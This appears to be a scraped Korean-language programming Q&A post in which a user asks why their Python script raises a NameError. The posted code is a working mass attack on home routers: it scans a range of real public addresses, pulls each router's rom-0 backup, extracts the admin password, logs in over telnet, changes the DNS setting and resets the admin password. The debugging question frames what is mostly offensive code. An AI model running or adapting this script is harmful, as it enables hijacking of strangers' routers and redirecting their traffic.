-5
저는 파이썬 프로그래밍에 익숙합니다. 간단한 코드를 시도하지만 코드를 실행하면 다음과 같은 오류가 표시됩니다.Python 오류 NameError :
[email protected]:~# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
이 문제를 해결하는 방법을 모르겠습니다. 변수 host
가 선언되기 전에 마지막 except
블록에 똑바로가는 것 같습니다
attack.py
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
code.py
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
python code.py some_argument
당신은 한 시간 전에이 기록했다. 거기에 큰 해답이 있습니다. 읽어보십시오! – mhlester[내 질문] (http://stackoverflow.com/q/21330438/3001761)에 대한 나의 대답은 귀하의 상황과 관련이 있습니다. – jonrsharpe